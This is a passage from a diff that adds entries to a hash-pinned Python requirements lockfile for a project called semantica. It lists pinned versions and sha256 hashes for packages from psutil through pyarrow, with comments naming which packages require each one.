--hash=sha256:24f857477359a85c0c235261b8ba905fd51b2562f4a64ca1df5473f29850cbf6 \ + --hash=sha256:353652e4efd0bca5b5fc2656abf8307ef351f0cf938c9eba09f0e09c20a25c30 \ + --hash=sha256:4bc97768d8fe4ad6743c8a19403e314511ed9f6d13205b687e52421c023ac1b9 \ + --hash=sha256:74758715c53d7158fb76caf4f0cfdacc5329a4b1bb994f865d6cf302d413a1c4 \ + --hash=sha256:b73f9489a4b8b1c9cb1f8ed951c736392592edb24b9d6819f36d2e10b171d5b4 \ + --hash=sha256:ce115a26fe0c39a2c29973d914d327e516a6455464489fe3cd1e51a1b354f81a + # via + # semantica (pyproject.toml) + # google-api-core + # googleapis-common-protos + # grpcio-health-checking + # onnxruntime + # proto-plus + # pymilvus + # qdrant-client +psutil==7.2.2 \ + --hash=sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372 \ + --hash=sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9 \ + --hash=sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841 \ + --hash=sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63 \ + --hash=sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979 \ + --hash=sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a \ + --hash=sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b \ + --hash=sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9 \ + --hash=sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee \ + --hash=sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312 \ + --hash=sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b \ + --hash=sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9 \ + --hash=sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e \ + --hash=sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc \ + --hash=sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1 \ + --hash=sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf \ + --hash=sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea \ + --hash=sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988 \ + --hash=sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486 \ + --hash=sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00 \ + --hash=sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8 + # via + # accelerate + # ipykernel + # ipython +psycopg==3.3.4 \ + --hash=sha256:b6bbc25ccf05c8fad3b061d9db2ef0909a555171b84b07f29458a447253d679a \ + --hash=sha256:e21207764952cff81b6b8bdacad9a3939f2793367fdac2987b3aac36a651b5bc + # via semantica (pyproject.toml) +psycopg-binary==3.3.4 \ + --hash=sha256:018fbed325936da502feb546642c982dcc4b9ffdea32dfef78dbf3b7f7ad4070 \ + --hash=sha256:0579252a1202cd73e4da137a1426e2dae993ae44e757605344282af3a082848c \ + --hash=sha256:136f199a407b5348b9b857c504aff60c77622a28482e7195839ce1b51238c4cc \ + --hash=sha256:13a7f380824c35896dcac7fe0f61440f7ca49d6dc73f3c13a9a4471e6a3b302e \ + --hash=sha256:17a21953a9e5ff3a16dab692625a3676e2f101db5e40072f39dbee2250194d68 \ + --hash=sha256:1dc1f79fd16bb1f3f4421417a514607539f17804d95c7ed617265369d1981cae \ + --hash=sha256:1fbaa292a3c8bb61b45df1ad3da1908ccee7cb889db9425e3557d9e34e2a4829 \ + --hash=sha256:22cdbf5f91ef7bb91fe0c5757e1962d3127a8010256eefd9c61fcaf441802097 \ + --hash=sha256:26df2717e59c0473e4465a97dfb1b7afebaa479277870fd5784d1436470db47c \ + --hash=sha256:276904e3452d6a23d474ef9a21eee19f20eed3d53ddd2576af033827e0ba0992 \ + --hash=sha256:28b7398fdd19db3232c884fb24550bdfe951221f510e195e233299e4c9b78f97 \ + --hash=sha256:2c09aad7051326e7603c14e50636db9c01f78272dc54b3accff03d46370461e6 \ + --hash=sha256:32a6fbf8481e3a370d0d72b860d35948a693cb01281da217f7b2f307636e591a \ + --hash=sha256:41f2ec0fea529832982bcb6c9415de3c86264ebe562b77a467c0fbcd7efbba8d \ + --hash=sha256:46893c26858be12cc49ca4226ed6a60b4bfccadd946b3bebb783a60b38788228 \ + --hash=sha256:47c656a8a7ba6eb0cff1801a4caaa9c8bdc12d03080e273aff1c8ac39971a77e \ + --hash=sha256:494ca54901be8cf9eb7e02c25b731f2317c378efa44f43e8f9bd0e1184ae7be4 \ + --hash=sha256:514404ed543efd620c85602b747df2a23cf1241b4067199e1a66f2d2757aaa41 \ + --hash=sha256:574ea21a9651958f1535c5a1c649c7409e9168bcbffa29a3f2f961f58b322949 \ + --hash=sha256:580ae30a5f95ccd90008ec697d3ed6a4a2047a516407ad904283fa42086936e9 \ + --hash=sha256:5ab28a2a7649df3b72e6b674b4c190e448e8e77cf496a65bd846472048de2089 \ + --hash=sha256:5c4ab71be17bdca30cb34c34c4e1496e2f5d6f20c199c12bad226070b22ef9bf \ + --hash=sha256:612a627d733f695b1de1f9b4bd511c15f999a5d8b915d444bbd7dd71cf3370da \ + --hash=sha256:6402a9d8146cf4b3974ded3fd28a971e83dc6a0333eb7822524a3aa20b546578 \ + --hash=sha256:6b9016b1714da4dd5ecaaa75b82098aa5a0b87854ce9b092e21c27c4ae23e014 \ + --hash=sha256:71e55ccbdfae79a2ed9c6369c3008a3025817ff9d7e27b32a2d84e2a4267e66e \ + --hash=sha256:7465bfe6087d2d5b42d4c53b9b11ca9f218e477317a4a162a10e3c19e984ba8e \ + --hash=sha256:75a9067e236f9b9ae3535b66fe99bddb33d39c0de10112e49b9ab11eee53dc31 \ + --hash=sha256:773d573e11f437ce0bdb95b7c18dc58390494f96d43f8b45b9760436114f7652 \ + --hash=sha256:77df19583501ea288eaf15ac0fe7ad01e6d8091a91d5c41df5c718f307d8e31b \ + --hash=sha256:7f7668f30b9dd5163197e5cbf4e0efd54e00f0a859cc566ce56cfc31f4054839 \ + --hash=sha256:8c0056529e68dbe9184cd4019a1f3d8f3a4ead2f6fc7a5afcf27d3314edd1277 \ + --hash=sha256:94596f9e7633ee3f6440711d43bb70aa31cc0a46a900ab8b4201a366ace5c9e7 \ + --hash=sha256:ab8cca8ef8fb1ccf5b048ae5bd78ba55b9e4b5d472e3ce5ca39ff4d2a9c249e4 \ + --hash=sha256:ad3bc94054876155549fdaedf4a46d1ec69d39a5bcee377148afe498e84c4b8e \ + --hash=sha256:b56b603ebcea8aa10b46228b8410ba7f13e7c2ee54389d4d9be0927fd8ce2a70 \ + --hash=sha256:b6f5a29e9c775b9f12a1a717aa7a2c80f9e1db6f27ba44a5b59c80ac61d2ffcf \ + --hash=sha256:b7bfff1ca23732b488cbca3076fc11bc98d520ee122514fdb17a8e20d3338f5a \ + --hash=sha256:bdef84570ebbce1d42b4e7ea952d21c414c5f118ad02fee00c5625f35e134429 \ + --hash=sha256:c37e024c07308cd06cf3ec51bfd0e7f6157585a4d84d1bce4a7f5f7913719bf8 \ + --hash=sha256:c677c4ad433cb7150c8cd304a0769ae3bcfbe5ea0676eb53faa7b1443b16d0d3 \ + --hash=sha256:cf7f73a4a792bc5db58a4b385d8a1467e8d468f7548702fb0ed1e9b7501b1c13 \ + --hash=sha256:cffc3408d77a27973f33e5d909b624cce683db5fc25964b02fe0aae7886c1007 \ + --hash=sha256:d7b4d40c153fa352ab3cca530f3a0baedf7621b2ebcbd7f084009522c21788fc \ + --hash=sha256:dbfdb9b6cc79f31104a7b162a2b921b765fcc62af6c00540a167a8de47e4ed38 \ + --hash=sha256:df1d567fc430f6df15c9fcf67d87685fc49bdb325adc0db5af1adfb2f44eb5c9 \ + --hash=sha256:e2631da29253a98bd496e6c4813b24e09a4fe3fb2a9e88513305d6f8747cce95 \ + --hash=sha256:e7510c37550f91a187e3660a8cc50d4b760f8c3b8b2f89ebc5698cd2c7f2c85d \ + --hash=sha256:eb05ee1c2b817d27c537333224c9e83c7afb86fe7296ba970990068baf819b16 \ + --hash=sha256:eb4eed2079c01a4850bf467deacfab56d356d4225040170af03dc9958321242d \ + --hash=sha256:ee17a2cf4943cde261adfad1bbc5bf38d6b3776d7afff74c7cabcbeaeb08c260 \ + --hash=sha256:f80e3f2b5331dbbf0901bcb658056c03eeb2c1ef31d774afb0d61598b242e744 \ + --hash=sha256:f9b1c2533af01cd7648378599f82b0b8ae32f293296e6eec5753a625bc97ef28 \ + --hash=sha256:fa1cbc10768a796c96d3243656016bf4e337c81c71097270bb7b0ad6210d9765 \ + --hash=sha256:fbd1d4ed566895ad2d3bf4ddfd8bae90026930ddf29df3b9d91d32c8c47866a7 + # via psycopg +psycopg-pool==3.3.1 \ + --hash=sha256:2af5b432941c4c9ad5c87b3fa410aec910ec8f7c122855897983a06c45f2e4b5 \ + --hash=sha256:b10b10b7a175d5cc1592147dc5b7eec8a9e0834eb3ed2c4a92c858e2f51eb63c + # via psycopg +psycopg2-binary==2.9.12 \ + --hash=sha256:00814e40fa23c2b37ef0a1e3c749d89982c73a9cb5046137f0752a22d432e82f \ + --hash=sha256:049366c6d884bdcd65d66e6ca1fdbebe670b56c6c9ba46f164e6667e90881964 \ + --hash=sha256:0dc9228d47c46bda253d2ecd6bb93b56a9f2d7ad33b684a1fa3622bf74ffe30c \ + --hash=sha256:1006fb62f0f0bc5ce256a832356c6262e91be43f5e4eb15b5eaf38079464caf2 \ + --hash=sha256:127467c6e476dd876634f17c3d870530e73ff454ff99bff73d36e80af28e1115 \ + --hash=sha256:1c8ad4c08e00f7679559eaed7aff1edfffc60c086b976f93972f686384a95e2c \ + --hash=sha256:29d4d134bd0ab46ffb04e94aa3c5fa3ef582e9026609165e2f758ff76fc3a3be \ + --hash=sha256:3471336e1acfd9c7fe507b8bad5af9317b6a89294f9eb37bd9a030bb7bebcdc6 \ + --hash=sha256:36512911ebb2b60a0c3e44d0bb5048c1980aced91235d133b7874f3d1d93487c \ + --hash=sha256:398fcd4db988c7d7d3713e2b8e18939776fd3fb447052daae4f24fa39daede4c \ + --hash=sha256:3d999bd982a723113c1a45b55a7a6a90d64d0ed2278020ed625c490ff7bef96c \ + --hash=sha256:40e7b28b63aaf737cb3a1edc3a9bbc9a9f4ad3dcb7152e8c1130e4050eddcb7d \ + --hash=sha256:411e85815652d13560fbe731878daa5d92378c4995a22302071890ec3397d019 \ + --hash=sha256:4413d0caef93c5cf50b96863df4c2efe8c269bf2267df353225595e7e15e8df7 \ + --hash=sha256:4766ab678563054d3f1d064a4db19cc4b5f9e3a8d9018592a8285cf200c248f3 \ + --hash=sha256:4dfcf8e45ebb0c663be34a3442f65e17311f3367089cd4e5e3a3e8e62c978777 \ + --hash=sha256:527e6342b3e44c2f0544f6b8e927d60de7f163f5723b8f1dfa7d2a84298738cd \ + --hash=sha256:54a0dfecab1b48731f934e06139dfe11e24219fb6d0ceb32177cf0375f14c7b5 \ + --hash=sha256:5a0253224780c978746cb9be55a946bcdaf40fe3519c0f622924cdabdafe2c39 \ + --hash=sha256:5ac9444edc768c02a6b6a591f070b8aae28ff3a99be57560ac996001580f294c \ + --hash=sha256:5c7cb4cbf894a1d36c720d713de507952c7c58f66d30834708f03dbe5c822ccf \ + --hash=sha256:5c8ce6c61bd1b1f6b9c24ee32211599f6166af2c55abb19456090a21fd16554b \ + --hash=sha256:5cdc05117180c5fa9c40eea8ea559ce64d73824c39d928b7da9fb5f6a9392433 \ + --hash=sha256:612b965daee295ae2da8f8218ce1d274645dc76ef3f1abf6a0a94fd57eff876d \ + --hash=sha256:63a3ebbd543d3d1eda088ac99164e8c5bac15293ee91f20281fd17d050aee1c4 \ + --hash=sha256:66a7685d7e548f10fb4ce32fb01a7b7f4aa702134de92a292c7bd9e0d3dbd290 \ + --hash=sha256:6f3b3de8a74ef8db215f22edffb19e32dc6fa41340456de7ec99efdc8a7b3ec2 \ + --hash=sha256:6f9cae1f848779b5b01f417e762c40d026ea93eb0648249a604728cda991dde3 \ + --hash=sha256:718e1fc18edf573b02cb8aea868de8d8d33f99ce9620206aa9144b67b0985e94 \ + --hash=sha256:77b348775efd4cdab410ec6609d81ccecd1139c90265fa583a7255c8064bc03d \ + --hash=sha256:7af18183109e23502c8b2ae7f6926c0882766f35b5175a4cd737ad825e4d7a1b \ + --hash=sha256:7c729a73c7b1b84de3582f73cdd27d905121dc2c531f3d9a3c32a3011033b965 \ + --hash=sha256:83946ba43979ebfdc99a3cd0ee775c89f221df026984ba19d46133d8d75d3cd9 \ + --hash=sha256:840066105706cd2eb29b9a1c2329620056582a4bf3e8169dec5c447042d0869f \ + --hash=sha256:863f5d12241ebe1c76a72a04c2113b6dc905f90b9cef0e9be0efd994affd9354 \ + --hash=sha256:864c261b3690e1207d14bbfe0a61e27567981b80c47a778561e49f676f7ce433 \ + --hash=sha256:89d19a9f7899e8eb0656a2b3a08e0da04c720a06db6e0033eab5928aabe60fa9 \ + --hash=sha256:8ffdb59fe88f99589e34354a130217aa1fd2d615612402d6edc8b3dbc7a44463 \ + --hash=sha256:96937c9c5d891f772430f418a7a8b4691a90c3e6b93cf72b5bd7cad8cbca32a5 \ + --hash=sha256:98062447aebc20ed20add1f547a364fd0ef8933640d5372ff1873f8deb9b61be \ + --hash=sha256:995ce929eede89db6254b50827e2b7fd61e50d11f0b116b29fffe4a2e53c4580 \ + --hash=sha256:9b818ceff717f98851a64bffd4c5eb5b3059ae280276dcecc52ac658dcf006a4 \ + --hash=sha256:9fe06d93e72f1c048e731a2e3e7854a5bfaa58fc736068df90b352cefe66f03f \ + --hash=sha256:a46fe069b65255df410f856d842bc235f90e22ffdf532dda625fd4213d3fd9b1 \ + --hash=sha256:a7e39a65b7d2a20e4ba2e0aaad1960b61cc2888d6ab047769f8347bd3c9ad915 \ + --hash=sha256:a99eaab34a9010f1a086b126de467466620a750634d114d20455f3a824aae033 \ + --hash=sha256:ab29414b25dcb698bf26bf213e3348abdcd07bbd5de032a5bec15bd75b298b03 \ + --hash=sha256:ace94261f43850e9e79f6c56636c5e0147978ab79eda5e5e5ebf13ae146fc8fe \ + --hash=sha256:b4a9eaa6e7f4ff91bec10aa3fb296878e75187bced5cc4bafe17dc40915e1326 \ + --hash=sha256:b6937f5fe4e180aeee87de907a2fa982ded6f7f15d7218f78a083e4e1d68f2a0 \ + --hash=sha256:b9a339b79d37c1b45f3235265f07cdeb0cb5ad7acd2ac7720a5920989c17c24e \ + --hash=sha256:ba3df2fc42a1cfa45b72cf096d4acb2b885937eedc61461081d53538d4a82a86 \ + --hash=sha256:c41321a14dd74aceb6a9a643b9253a334521babfa763fa873e33d89cfa122fb5 \ + --hash=sha256:c5ee5213445dd45312459029b8c4c0a695461eb517b753d2582315bd07995f5e \ + --hash=sha256:c6528cefc8e50fcc6f4a107e27a672058b36cc5736d665476aeb413ba88dbb06 \ + --hash=sha256:cb4a1dacdd48077150dc762a9e5ddbf32c256d66cb46f80839391aa458774936 \ + --hash=sha256:cfa2517c94ea3af6deb46f81e1bbd884faa63e28481eb2f889989dd8d95e5f03 \ + --hash=sha256:d2fa0d7caca8635c56e373055094eeda3208d901d55dd0ff5abc1d4e47f82b56 \ + --hash=sha256:d3227a3bc228c10d21011a99245edca923e4e8bf461857e869a507d9a41fe9f6 \ + --hash=sha256:d6fcbba8c9fed08a73b8ac61ea79e4821e45b1e92bb466230c5e746bbf3d5256 \ + --hash=sha256:e4e184b1fb6072bf05388aa41c697e1b2d01b3473f107e7ec44f186a32cfd0b8 \ + --hash=sha256:ee2d84ef5eb6c04702d2e9c372ad557fb027f26a5d82804f749dfb14c7fdd2ab \ + --hash=sha256:f12ae41fcafadb39b2785e64a40f9db05d6de2ac114077457e0e7c597f3af980 \ + --hash=sha256:f625abb7020e4af3432d95342daa1aa0db3fa369eed19807aa596367ba791b10 \ + --hash=sha256:f921f3cd87035ef7df233383011d7a53ea1d346224752c1385f1edfd790ceb6a \ + --hash=sha256:fb1828cf3da68f99e45ebce1355d65d2d12b6a78fb5dfb16247aad6bdef5f5d2 \ + --hash=sha256:ffdd7dc5463ccd61845ac37b7012d0f35a1548df9febe14f8dd549be4a0bc81e + # via semantica (pyproject.toml) +ptyprocess==0.7.0 \ + --hash=sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35 \ + --hash=sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220 + # via + # pexpect + # terminado +pulsar-client==3.13.0 \ + --hash=sha256:03244a8af1886591ee56afb1228b85f8b678f980464a2847ebb9a152d8b5e36a \ + --hash=sha256:0e76acbc9ca5515650e940a0bb10c45860aa14707bb755dde01d0eb011606d77 \ + --hash=sha256:21c241e7a7f359928f677a97bf7e9b31723f575cc9adc0e09350f5e5a5c1be53 \ + --hash=sha256:25d56f51895a01ae885e71ae3f65369496462139bb506450fa11c1c28941177a \ + --hash=sha256:2cbcae67dc46c3b85288984a51ee0c194f8898cba54fc31b08eeffef8b113a30 \ + --hash=sha256:3111678f649afb78ec4d807d7fd352836912537a9cd1ca2ad43c1f992eb83301 \ + --hash=sha256:43aa8b5532aa4ca9417342a4c5a0fcf9e03f9b1a64177be5a2420dea08547685 \ + --hash=sha256:55a060c9a7b58e4daa80aa8126e340d378e0f55e5616523574d3144f5a649347 \ + --hash=sha256:56109a622fd5373f7971a0e052732dbbcdd0030b7e69c06377cd49763903df20 \ + --hash=sha256:6060e6856dad29231aba5464941c3154f5ef3175d7d8f98c9edf994df6cd8820 \ + --hash=sha256:61c4b8f478cbe843a9793f3e145709efb407ca6979a4b23b8ee7abd585770720 \ + --hash=sha256:6410dacd0c2cef0a0c5539acea448d487a1824ff1c69230ae8d366762938020e \ + --hash=sha256:7b510a8be6ce5fc6dffb772b80baa00900a4b8a7342be38023fcd38cc7582ad0 \ + --hash=sha256:7c87a6944d5531b59b556b6078b9a0fb6d2dceff7a2edc8875bba43ed37c7f6a \ + --hash=sha256:7cc1cb49a29a85b8469b42d3a088c0fde639887e0b06120d92c34a9412296528 \ + --hash=sha256:7de4a2541059e54c1f6cdf5d961306a6fc7f50cd415425b185b653d7dfa5ec39 \ + --hash=sha256:863fd7b8cdc162f3cc0ea7217c37604c66a7bc9bb5cd554566c5d07f89a50e5e \ + --hash=sha256:8ce5c596a82b4b43d677d7ba82e6f8a553c6ea50ac7cb42bde986868dc851437 \ + --hash=sha256:8e4bd5a7237829b9fb670f477e54c16ff6dbfde363b40f252e957a50c1fba0d9 \ + --hash=sha256:afa143cbadbe0e13c3afcc3925442ee67a3b611d28110462fbcd37fc95cdcd94 \ + --hash=sha256:bc0337146a525837c5bb945c50241427806f8200d96ad839c8b6b08cd631c987 \ + --hash=sha256:cf62d0ea76b3dee86536115b9e5b5ecc8087920196afea23fd04d8b38ff0c275 \ + --hash=sha256:d2f65f2e697d20dbef2a9f04763bada0e20ff34e13650204f95d9acbfed1ec1e \ + --hash=sha256:da4fe1a58e81d1a3131aa8edb44eac91c9931ad6f8e21b2e3409cb8ee8e9173d \ + --hash=sha256:edd8ffd12cf3dd4b72b080e815652f0c2f18045b5e9b779e63e43caad470e834 \ + --hash=sha256:f2eb3afc2e1c002bc74eadd3f3ba49fb4c337d59e83f0861c79a901b62098ec0 \ + --hash=sha256:f2f24bacf9ad7999a2c9813db68b438b776a2bc5440ed1bbb9cc62acbfc4f85d \ + --hash=sha256:f3f769e3128366df63296d7caa4934721f70083def652cb34fb0b55538ba325b \ + --hash=sha256:f5d5dcfc45f73e05db754f2372d278c1183a674c6e2b91416a4f6c829911365b \ + --hash=sha256:f958a6149b28cfe354d33f2af229e2257d0bc4e1f195eefbd4cbae5d7fd7961d + # via semantica (pyproject.toml) +pure-eval==0.2.3 \ + --hash=sha256:1db8e35b67b3d218d818ae653e27f06c3aa420901fa7b081ca98cbedc874e0d0 \ + --hash=sha256:5f4e983f40564c576c7c8635ae88db5956bb2229d7e9237d03b3c0b0190eaf42 + # via stack-data +py-rust-stemmers==0.1.8 \ + --hash=sha256:08c258deab6d994551a92e9468ce88e58f97e636e73d9c5763978a57d7675a13 \ + --hash=sha256:0a68745d4b3c7f5abc778ca967e8711df6154873abcfe4e62a6631fa2363cc32 \ + --hash=sha256:0f1d2135974bbbea2c15087a7d8cec8697338b2a748c9694c92943775f4d6c14 \ + --hash=sha256:13b25ce65509ff7e37725bd38c62704f32ae0604ac0899f43c8cce41d5543212 \ + --hash=sha256:15af4e12e1288de2e5241eec375afc6ad6be4c125a28ca010599d9f92db23f01 \ + --hash=sha256:1686fc009869ff8bcc1d5a305f071eeb8c3b3612a9827bcadd4e61fdb5727179 \ + --hash=sha256:21ed8055cec1f78d666afad8ffd7a51775ba419d2c615b8a1df7b32ca7f33e2b \ + --hash=sha256:22d037a82920bed8fccbec62cf5ef47d821ac3966a3d098fa48a2053397ea6b7 \ + --hash=sha256:234fdcb58f4d907877ed03c9358668a149b5a66d096abcf43c324a4f5697d36d \ + --hash=sha256:245e2c61c52e073341893a9682cd1396b61047154548aee30bb1af3d8ed4b4cc \ + --hash=sha256:25bb9b0b6b8d79b32c151c7f5f94af9af9aea201ca8736e6f117c841b017f028 \ + --hash=sha256:2b607f0b270951fb66479baf4b68716cc63a981585cbd898b0b6b5c359efde7e \ + --hash=sha256:2e86ad68fe297a6652f0f0390625ea81858b6f27862fd4c5ee1214bf5af29b9d \ + --hash=sha256:3007ad4ec51e0c352ae410234a24a9ac75fab0c1e06c585fbac9fcced69385f8 \ + --hash=sha256:342b6cc9eb833f102d86e146ee71bccb3c1ed1e8320db8e6553cc81b716b1b14 \ + --hash=sha256:35570098da02eb439afcd7270a12bf850bbe874b85cb912e0fb2d87a6e703920 \ + --hash=sha256:36b952ce65a794faf15553b8f5b60431483c2d5bec00bc6982bf490e727250f9 \ + --hash=sha256:3bef8062d28251b465299cc676de7c11dde003858caf2c2b5c14de7298dc63db \ + --hash=sha256:40c86be90cee4a709ad84fde4db7f11ca44d65630a56b77ec86fe84c23adfc09 \ + --hash=sha256:451ee1c02a3f5cf1e161b46ba9032cdda4ba10a8b03ff9ee61c1d34d42a0bc81 \ + --hash=sha256:45d0c42346f8e5d04b86a0b0f895bb15c53788bf551e7fad36be1dad093e856f \ + --hash=sha256:479c77c32d8be692f3cfcde7e19273f02ac81d6f45c6aef49887ef95cab7abbb \ + --hash=sha256:4a1e11d22a240318dc917266eb3c85919455b6ea834445b95997712d9ede6b93 \ + --hash=sha256:4b1159a38a198eabeabd908015f9425c4220b61b42c6603c58870481ff2b50bb \ + --hash=sha256:4b90fc81411943b114e8eb4988a876ba3b12bd2d20741559803eddc4131575dc \ + --hash=sha256:515884bcfb47b10335146648f276930d0c1201ae5e8b7b400fb46d8ea05c0ec2 \ + --hash=sha256:51d0042d2a92ef0f7048bfc06b6c2a02306af31ea47f09d24b34e4b7e63c4e80 \ + --hash=sha256:526b58958c6ffa36c4a805326cfb624ecbd665d16ba435027dbed0bcbcaa09d2 \ + --hash=sha256:56cc2c2df742fa6529285b7d204720f34b7da789ed78eb578442f93c6de97d89 \ + --hash=sha256:5bd15b89203ecd886960e237124d1aa6e55498d76418c36c967d3b12168d43dc \ + --hash=sha256:5cc8fab9d0f1b274a26935a632362b8278f03e81b65e8b8644d5ca3f62a5a1a4 \ + --hash=sha256:6a9a4b8733d0b307bd0879ab7e321aa8a0bfd054a75a5cb23c647df5ca7d17c3 \ + --hash=sha256:6b0f6f48bc54d607aed802de872fcd5a71bae969a6760976dc78ce55e8eaf3da \ + --hash=sha256:6c92733b020534470ca5a0d7fe8b85c85622ff383d4f37fec75a1c677aa84921 \ + --hash=sha256:769f37882905da2311cb720681b112eb70a4e6bd56fb424d473427b5379c8396 \ + --hash=sha256:7cc0cc0b8eb45d2158c28ea43e2f338c110aad63052ad3bd00bc7446a595e12f \ + --hash=sha256:870afb2d1d4731bd2d74b715b34439b29734e4dc94c55342096f07669f7f9fa0 \ + --hash=sha256:89d3d34094b9b6078a8ea6fe1c7044e5fd32f14e76c94818c5008f49ae075f08 \ + --hash=sha256:8b0327b151ab8a338fb54fdac114ba34394327fc1e2c4c425ad1caf2013e5de3 \ + --hash=sha256:931d13570962b093417e5443a9d1bd63d73fa239ebb81e5b1d346663571403e4 \ + --hash=sha256:9ab605a86c950ba7e8ab1392cf91296c0bec3084babb897a4aecf90a10c82395 \ + --hash=sha256:ae773e1d01e9aa328d175f461475d0cd7074a82bfcc71de6dc5765e51f1cc9f7 \ + --hash=sha256:af749b3b9f6531342250dd05854c0ae93e01f79b0049a8769012e0b50e9aba5b \ + --hash=sha256:bfc185b599e646a0e39d11df3f5e6d15edefb110496601556385d33b55fed5de \ + --hash=sha256:c03f51280d5d72f7f9b07101ad248845279dc1c82c47a74149303d25937464b7 \ + --hash=sha256:c786235275c5c2abb7f206b8236aee3ca0bc53c7497daf7fb7b01d3491469547 \ + --hash=sha256:d396dd25c473c1bc4248c79cd223f4b36356b55a124652f015c6a001547f81ac \ + --hash=sha256:da0326c913070d5f3fabd56393ca4118167bb0b13c2932a77c7a1b31f85f651a \ + --hash=sha256:dab8a862fa8e4c9e715848e9d64c317229d7a2c37238cd1c73237b85d655ab7e \ + --hash=sha256:dadd0e369703817fc7026987b3093f461f9f58d8dde74e689d546184bc8f3451 \ + --hash=sha256:dca0ae40715238582d6f1824b61d09ea3982359a061b69798ab5732b3ba0d4c5 \ + --hash=sha256:dd967eea2f808a1e73aa71ecccef0f4925a4cca4eb02ced94057afe3303153ef \ + --hash=sha256:eee4af7ada2ce9cb3ec59ffe8458148c3933a86507d816bf954ee506a0e45b61 \ + --hash=sha256:f16deb1557b8253d8c11693047bec4ed67d6b09ae0f84c8b896ea03ac2fc8925 \ + --hash=sha256:fa42f5f8feb694aaaa869eedf477fcaf66f67a192cd64d94302d06920c33864a + # via fastembed +pyarrow==25.0.1 \ + --hash=sha256:0b1edbb2f385a6a65e9711b62ba86ac54a7816a3f8d17bb3e8a5929d65fb2485 \ + --hash=sha256:0b726ad7e7b669be982b0c71c07fe4b037d654354130da79a7902a669e93a66b \ + --hash=sha256:0befcf816e45a1af33ac775a9970b749e4868a230c7372f0ae5e932bee27039f \ + --hash=sha256:0fe7c8b6c03969b49c8c66182e4a18e3819ab92d07cfab5d8370c531b9369ef0 \ + --hash=sha256:119297a6dc197e45d9c6d4415f7814a67ffa36c180d26f68c154c58067ae782d \ + --hash=sha256:169d3429d5be7c752125890620f75a60776d38b0035eddae939651640822332e \ + --hash=sha256:25f8720bf6387d5dc2ebd2622112de630760419e4b66134405dd24110d15f37e \ + --hash=sha256:31e49a7888fcdf3a835da33ae777f6bb9a866334e5a789282fc26dcf426f7f15 \ + --hash=sha256:35935cd5de130aa5cf4dea052a63e6bf2e17006c35c3a468194242b9b2bf5956 \ + --hash=sha256:38a9a4b4b9613380e200641891495a56c3d5a98a092db4a870af9975e220471d \ + --hash=sha256:3f89685964f46e4216103c75483aac0c0692a5f72212d7ca835adba5ede56ce3 \ + --hash=sha256:4288f27577352d608ca08553b0865e4a9b3aa14820c5d95b53337218d609835b \ + --hash=sha256:4340f0ba6c1d2e13f21658de1d7c662ca2545018568d0030a1e9afca159d87e3 \ + --hash=sha256:44a9120ce5bd81936b8ab9a88076e3fd47c2c6838e0e43630fed83626aca81d9 \ + --hash=sha256:4facd65742a024a4a366328a1d2292062d72d6e023c1b7dda8d4c37544933a25 \ + --hash=sha256:51093dd9e10325fbdb3c10a2ae7c4806e5c822d94e74ae4938b26524a3323fee \ + --hash=sha256:514ddb60285631af068875550c90eddc181db3e8e63a032b1559be189e82f056 \ + --hash=sha256:5389cdf79447ed1515c9e31620e6e1e2302249564d603f2ad727d4f6d313e4c3 \ + --hash=sha256:59a2de54c0cbd954da861eee4d1d330f8e909c45b53455baef696380f2c55033 \ + --hash=sha256:60e89d8f13861a1f7f8d950fa54aebb8023b30734d0ac51ffa80beabe2df4bba \ + --hash=sha256:6109c94d8b9f3b17a041daca16cacb2f651ad8f1ef70a4232c2c0f37a23da2a8 \ + --hash=sha256:62cd0d785b8aa6675ee355f9fc02252a340f4441257c42674937826fd7594325 \ + --hash=sha256:6943e2fe7954d29d84de45d29d34c8dc36ce96570e67d89aa9976e650a4a9138 \ + --hash=sha256:6a1fdfc6659b6b19022f2e50627fb5cf7156a66c46bf4299379955cbe742382a \ + --hash=sha256:880523be3d29efcf83d3998835d206118ccf35e3871dbd2fb60408cf6b007a80 \ + --hash=sha256:8858d7bfc22e3f51529aeaa4077225029724623e4595dc9eff8c793935c34140 \ + --hash=sha256:9150a83248bfed9813ea3c3af74c3856c1984d444aa28e58bf7733b9750ddf6a \ + --hash=sha256:9171748cdf796972d85a4b60157c279913e242992e350c90c7450182a9838b2a \ + --hash=sha256:a4d6d5e9a3d1879a97c08ded0c797579b7965eafd0f0c26c30b45ccc06db939b \ + --hash=sha256:a4dd8bf99a8fac133efc0ed6a92f5fddbe2adba0d0f6dd720e39ba9855cea85c \ + --hash=sha256:aa0559502e1cd6254d6814614085dd9c5a3dd0419362978a936a3f68a9e5c3df \ + 